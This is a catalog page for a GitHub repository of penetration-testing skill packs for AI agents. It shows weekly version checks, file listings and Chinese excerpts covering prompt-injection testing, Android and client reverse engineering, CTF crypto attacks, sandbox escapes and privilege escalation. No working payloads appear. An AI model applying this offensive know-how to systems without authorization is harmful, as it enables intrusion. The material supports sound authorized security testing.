Not in the top 1,000 by GitHub stars
Unclecheng-li/DeepSec
DeepSec — AI Security Offense & Defense Platform. Shield audits AI-generated code for hallucinated packages, missing safeguards & AI pattern errors in real time. Spear automates authorized penetration testing with 40+ skill packs, from recon to PoC.
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
View weekly changes
deepsec/spear/skills/specialized/ai-mcp-security/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/android-pentest/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/client-reverse/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/crypto-toolkit/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/ctf-crypto/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/ctf-misc/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/ctf-web/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/cve-triage/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/hackerone/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/intranet-pentest-advanced/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/osint-recon/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/pentest-tools/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/rapid-checklist/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-ad-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-api-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-auth-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-cache-poison-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-clickjacking-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-cloud-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-cmdi-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-code-audit-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-container-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-cors-miscfg-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-crypto-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-csrf-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-cve-lookup/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-cve-validation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-deserialize-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-evasion-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-file-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-injection-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-logic-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-mobile-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-network-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-open-redirect-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-payload-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-postex-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-recon-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-recon-intake/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-reverse-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-sqli-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-ssrf-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-ssti-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-subdomain-takeover-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-web-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-xss-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/redteam-xxe-detail-pack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/secknowledge-skill/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/web-pentest/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → fff031fc01fb
No earlier version was observed for comparison.
deepsec/spear/skills/specialized/web-security-advanced/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
fff031fc01fb → fff031fc01fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → fff031fc01fb
No earlier version was observed for comparison.
Heat
3.8- Star growth, last 7 daysNot available
- Star growth, last 24 hoursNot available
- Rank movement, last 7 daysNot available
- Commits, last 30 daysNot available
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekNot available
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
30-day change not yet available: not enough history.
Individual skills in this repository
- ai-mcp-security
deepsec/spear/skills/specialized/ai-mcp-security - android-pentest
deepsec/spear/skills/specialized/android-pentest - client-reverse
deepsec/spear/skills/specialized/client-reverse - crypto-toolkit
deepsec/spear/skills/specialized/crypto-toolkit - ctf-crypto
deepsec/spear/skills/specialized/ctf-crypto - ctf-misc
deepsec/spear/skills/specialized/ctf-misc - ctf-web
deepsec/spear/skills/specialized/ctf-web - cve-triage
deepsec/spear/skills/specialized/cve-triage - hackerone
deepsec/spear/skills/specialized/hackerone - intranet-pentest-advanced
deepsec/spear/skills/specialized/intranet-pentest-advanced - osint-recon
deepsec/spear/skills/specialized/osint-recon - pentest-tools
deepsec/spear/skills/specialized/pentest-tools - rapid-checklist
deepsec/spear/skills/specialized/rapid-checklist - redteam-ad-detail-pack
deepsec/spear/skills/specialized/redteam-ad-detail-pack - redteam-api-detail-pack
deepsec/spear/skills/specialized/redteam-api-detail-pack - redteam-auth-detail-pack
deepsec/spear/skills/specialized/redteam-auth-detail-pack - redteam-cache-poison-detail-pack
deepsec/spear/skills/specialized/redteam-cache-poison-detail-pack - redteam-clickjacking-detail-pack
deepsec/spear/skills/specialized/redteam-clickjacking-detail-pack - redteam-cloud-detail-pack
deepsec/spear/skills/specialized/redteam-cloud-detail-pack - redteam-cmdi-detail-pack
deepsec/spear/skills/specialized/redteam-cmdi-detail-pack - redteam-code-audit-detail-pack
deepsec/spear/skills/specialized/redteam-code-audit-detail-pack - redteam-container-detail-pack
deepsec/spear/skills/specialized/redteam-container-detail-pack - redteam-cors-miscfg-detail-pack
deepsec/spear/skills/specialized/redteam-cors-miscfg-detail-pack - redteam-crypto-detail-pack
deepsec/spear/skills/specialized/redteam-crypto-detail-pack - redteam-csrf-detail-pack
deepsec/spear/skills/specialized/redteam-csrf-detail-pack - redteam-cve-lookup
deepsec/spear/skills/specialized/redteam-cve-lookup - redteam-cve-validation
deepsec/spear/skills/specialized/redteam-cve-validation - redteam-deserialize-detail-pack
deepsec/spear/skills/specialized/redteam-deserialize-detail-pack - redteam-evasion-detail-pack
deepsec/spear/skills/specialized/redteam-evasion-detail-pack - redteam-file-detail-pack
deepsec/spear/skills/specialized/redteam-file-detail-pack - redteam-injection-detail-pack
deepsec/spear/skills/specialized/redteam-injection-detail-pack - redteam-logic-detail-pack
deepsec/spear/skills/specialized/redteam-logic-detail-pack - redteam-mobile-detail-pack
deepsec/spear/skills/specialized/redteam-mobile-detail-pack - redteam-network-detail-pack
deepsec/spear/skills/specialized/redteam-network-detail-pack - redteam-open-redirect-detail-pack
deepsec/spear/skills/specialized/redteam-open-redirect-detail-pack - redteam-payload-detail-pack
deepsec/spear/skills/specialized/redteam-payload-detail-pack - redteam-postex-detail-pack
deepsec/spear/skills/specialized/redteam-postex-detail-pack - redteam-recon-detail-pack
deepsec/spear/skills/specialized/redteam-recon-detail-pack - redteam-recon-intake
deepsec/spear/skills/specialized/redteam-recon-intake - redteam-reverse-detail-pack
deepsec/spear/skills/specialized/redteam-reverse-detail-pack - redteam-sqli-detail-pack
deepsec/spear/skills/specialized/redteam-sqli-detail-pack - redteam-ssrf-detail-pack
deepsec/spear/skills/specialized/redteam-ssrf-detail-pack - redteam-ssti-detail-pack
deepsec/spear/skills/specialized/redteam-ssti-detail-pack - redteam-subdomain-takeover-detail-pack
deepsec/spear/skills/specialized/redteam-subdomain-takeover-detail-pack - redteam-web-detail-pack
deepsec/spear/skills/specialized/redteam-web-detail-pack - redteam-xss-detail-pack
deepsec/spear/skills/specialized/redteam-xss-detail-pack - redteam-xxe-detail-pack
deepsec/spear/skills/specialized/redteam-xxe-detail-pack - secknowledge-skill
deepsec/spear/skills/specialized/secknowledge-skill - web-pentest
deepsec/spear/skills/specialized/web-pentest - web-security-advanced
deepsec/spear/skills/specialized/web-security-advanced
How it works
ai-mcp-security
When your agent uses it
AI与MCP安全评估 — Prompt注入、工具滥用、MCP信任边界、Agent权限逃逸、数据泄露、模型风险、GAARM风险矩阵
What it loads into context
Frontmatter
104 tokensAlways available to the agent
SKILL.md
749 tokensWhen the skill is activated
Reference documents
173,300 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 场景路由
- 测试流程
- 参考文档
Files
SKILL.mdcore2,456 bytesreferences/04-ai-and-mcp-security-integrated.mddoc343,718 bytesreferences/ai-app-security.mddoc72,732 bytesreferences/ai-baseline-security.mddoc42,225 bytesreferences/ai-data-security.mddoc63,108 bytesreferences/ai-identity-security.mddoc45,651 bytesreferences/ai-model-security.mddoc98,732 bytesreferences/gaarm-risk-matrix.mddoc14,819 bytes
Read SKILL.md
# AI 与 MCP 安全评估 Skill
当目标包含 LLM、Agent、MCP 工具、Skills、RAG、Memory、Plugin 或模型服务组件时使用本 Skill。
**前置条件**:如果 AI 表面只是展示层,真正的阻塞仍是客户端签名或加密协议,先回到 `client-reverse` Skill。
## 场景路由
| 风险类型 | 首选参考 |
|---------|---------|
| Prompt 注入 / 间接注入 / CoT 干扰 | `references/ai-app-security.md` |
| 工具滥用 / MCP 投毒 / Skills 供应链 | `references/04-ai-and-mcp-security-integrated.md` MCP 章节 |
| 权限逃逸 / 角色越界 / 凭据滥用 | `references/ai-identity-security.md` |
| 数据泄露 / Prompt 泄漏 / 模型逆推 | `references/ai-data-security.md` |View the complete source on GitHubandroid-pentest
When your agent uses it
安卓应用渗透测试 — APK分析、Hook、自动化测试、运行态驱动、签名恢复、抓包分析
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
670 tokensWhen the skill is activated
Reference documents
9,707 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 核心原则
- 1. 环境准备
- 2. 自动化探索
- 3. 深度分析
- 4. 漏洞验证
- 5. 输出
- 参考文档
Files
SKILL.mdcore2,307 bytesreferences/android-authorized-app-pentest-sop.mddoc5,535 bytesreferences/android-dynamic-hooking-and-replay.mddoc2,216 bytesreferences/android-external-url-runtime-first-workflow.mddoc8,886 bytesreferences/android-native-signature-analysis.mddoc1,160 bytesreferences/android-network-layer-testing-quick-reference.mddoc5,135 bytesreferences/android-signature-reverse-template.mddoc2,199 bytesreferences/android-signing-and-crypto-workflow.mddoc7,552 bytesreferences/android-static-triage-and-callflow.mddoc1,536 bytesreferences/android-ui-driven-observation-and-packet-loop.mddoc9,331 bytes
Read SKILL.md
# 安卓应用渗透测试 Skill
针对安卓应用的专项渗透测试,遵循 **runtime-first** 原则:先运行态驱动、先抓包,最后才逆向。
**需要更深入的客户端逆向知识?** 使用 `client-reverse` Skill,包含完整的签名恢复、加密还原、Burp 重放工作流。
## 核心原则
**不要先逆向 APK**。默认操作顺序:
1. 确认目标 App 已安装在连接设备上
2. 准备好 Burp 或 Charles 抓包
3. 用 scrcpy_vision 驱动真实业务流程
4. 每个关键动作后检查抓包状态
5. 包可见且可重放 → 直接做 Web/API 安全测试View the complete source on GitHubclient-reverse
When your agent uses it
客户端逆向与Burp重放 — 复杂客户端签名恢复、加密还原、请求链追踪、稳定重放,适用于已授权安卓App渗透测试、浏览器JS签名、桌面客户端逆向
What it loads into context
Frontmatter
98 tokensAlways available to the agent
SKILL.md
945 tokensWhen the skill is activated
Reference documents
35,628 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 核心原则
- 场景路由
- 重放就绪检查清单
- 证据保留
- 参考文档
Files
SKILL.mdcore3,364 bytesreferences/02-client-api-reverse-and-burp.mddoc11,057 bytesreferences/MCP.mddoc62,500 bytesreferences/android-authorized-app-pentest-sop.mddoc5,535 bytesreferences/android-dynamic-hooking-and-replay.mddoc2,216 bytesreferences/android-external-url-runtime-first-workflow.mddoc8,886 bytesreferences/android-native-signature-analysis.mddoc1,160 bytesreferences/android-network-layer-testing-quick-reference.mddoc5,135 bytesreferences/android-signature-reverse-template.mddoc2,199 bytesreferences/android-signing-and-crypto-workflow.mddoc7,552 bytesreferences/android-static-triage-and-callflow.mddoc1,536 bytesreferences/android-ui-driven-observation-and-packet-loop.mddoc9,331 bytesreferences/browser-js-signing-workflow.mddoc5,436 bytesreferences/browser-locate-and-request-chain.mddoc2,026 bytesreferences/browser-recover-and-shell-reduction.mddoc1,581 bytesreferences/browser-request-chain-template.mddoc2,014 bytesreferences/browser-runtime-fit-and-risk.mddoc1,620 bytesreferences/browser-validation-and-handoff.mddoc1,087 bytesreferences/client-reverse-workflow.mddoc1,526 bytesreferences/reporting-and-evidence.mddoc1,184 bytesreferences/tool-selection-map.mddoc1,255 bytes
Read SKILL.md
# 客户端逆向与 Burp 重放 Skill
当请求由客户端(安卓App、浏览器JS、桌面客户端)构造,且存在签名、加密、token状态、设备绑定或反自动化逻辑导致 Burp 无法直接重放时,使用本 Skill。
## 核心原则
**Packet-First**:先捕获并分析真实的 HTTP/HTTPS 请求或 WebSocket 流量,确认可用性,再按需逆向阻塞点。逆向是阻塞解决步骤,不是默认入口。
## 场景路由
### 已授权安卓 App 渗透测试
**不要先用 jadx、ida_pro_mcp 分析 APK**,按以下顺序操作:
View the complete source on GitHubcrypto-toolkit
When your agent uses it
编码解码与加解密工具 — base64/URL/Hex/HTML实体编码解码,MD5/SHA哈希,AES/DES/RSA加解密,JWT解析,Caesar/ROT13密码,栅栏/Vigenere密码,Unicode转义,Morse电码等
What it loads into context
Frontmatter
74 tokensAlways available to the agent
SKILL.md
1,755 tokensWhen the skill is activated
Reference documents
2,837 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 核心原则
- 1. 编码识别与解码
- 2. 哈希与散列
- 3. 对称加密
- 4. 非对称加密
- 5. 古典密码
- 6. JWT 处理
- 工具使用
- CTF 密码学攻击路由
- 参考文档
Files
SKILL.mdcore5,249 bytesreferences/crypto-attacks-roadmap.mddoc2,438 bytesreferences/crypto-attacks.mddoc3,496 bytesreferences/encoding-cheatsheet.mddoc2,441 bytes
Read SKILL.md
# 编码解码与加解密 Skill
针对渗透测试中常见的编码、加密、混淆场景,提供全面的编解码和加解密能力。
**重要**:遇到任何编码/加密字符串时,优先使用 `crypto_decode` 工具进行解码,而非靠直觉猜测。
## 核心原则
1. **工具优先** — 遇到 base64、hex、URL编码等字符串,调用 `crypto_decode` 工具解码,不要自行脑补
2. **多格式尝试** — 如果一种解码方式结果不合理,尝试其他编码格式
3. **链式解码** — CTF 中常见多层编码(如 base64→hex→ROT13),解码后检查结果是否还需再次解码
4. **验证结果** — 解码后验证结果的合理性(是否为可读文本、是否像路径/URL/flag 等)
## 1. 编码识别与解码
View the complete source on GitHubctf-crypto
When your agent uses it
CTF密码学攻击知识库 — RSA攻击(小指数/共模/Wiener/Coppersmith)、AES攻击(Padding Oracle/ECB字节翻转/GCM nonce重用)、ECC攻击、LFSR/LCG/PRNG攻击、古典密码、LWE格攻击
What it loads into context
Frontmatter
94 tokensAlways available to the agent
SKILL.md
752 tokensWhen the skill is activated
Reference documents
6,179 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 核心原则
- 场景路由
- 快速判题指南
Files
SKILL.mdcore2,450 bytesreferences/aes-and-block-cipher-attacks.mddoc3,985 bytesreferences/classic-cipher-attacks.mddoc4,184 bytesreferences/ecc-attacks-cheatsheet.mddoc2,704 bytesreferences/lattice-and-lwe-attacks.mddoc1,840 bytesreferences/prng-and-stream-cipher-attacks.mddoc2,648 bytesreferences/rsa-attacks-cheatsheet.mddoc3,407 bytes
Read SKILL.md
# CTF 密码学攻击知识库
针对 CTF Crypto 题目的实战攻击知识库,提供**具体攻击参数、数学公式、Python 代码片段**。
**与 `crypto-toolkit` 的区别**:
- `crypto-toolkit` → 编解码操作工具(base64 解码、MD5 哈希、AES 加解密)
- `ctf-crypto` → 密码学攻击知识(RSA 小指数攻击怎么做、Padding Oracle 怎么利用)
## 核心原则
1. **先识别加密体系** — 看密钥长度、加密模式、已知量,确定攻击方向
2. **工具验证** — 使用 `python_execute` 执行攻击代码,用 `crypto_decode` 做辅助编解码
3. **参数敏感** — 密码学攻击对参数极其敏感,必须精确计算
View the complete source on GitHubctf-misc
When your agent uses it
CTF杂项知识库 — Python Jail逃逸、Bash Jail逃逸、编码链识别与解码、QR/音频/图像隐写、游戏VM逆向、CTFd API导航、Linux提权
What it loads into context
Frontmatter
58 tokensAlways available to the agent
SKILL.md
479 tokensWhen the skill is activated
Reference documents
6,321 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 场景路由
- 快速判题
Files
SKILL.mdcore1,530 bytesreferences/bash-jail-escape.mddoc2,333 bytesreferences/ctfd-platform-guide.mddoc3,633 bytesreferences/encoding-chain-reference.mddoc4,039 bytesreferences/game-and-vm-reverse.mddoc3,636 bytesreferences/linux-privesc-quick.mddoc3,456 bytesreferences/python-jail-escape.mddoc3,380 bytes
Read SKILL.md
# CTF 杂项知识库
针对 CTF Misc 题目的实战知识库,覆盖**沙箱逃逸、编码链识别、隐写术、游戏逆向**等杂项题型。
## 场景路由
| 场景 | 参考文档 | 核心内容 |
|------|---------|---------|
| Python 沙箱逃逸 | `python-jail-escape.md` | `__import__`/func\_globals/eval链 |
| Bash 沙箱逃逸 | `bash-jail-escape.md` | HISTFILE/ctypes.sh/vi编辑器逃逸 |
| 编码链识别与解码 | `encoding-chain-reference.md` | Base64→Hex→ROT13 多层嵌套 |
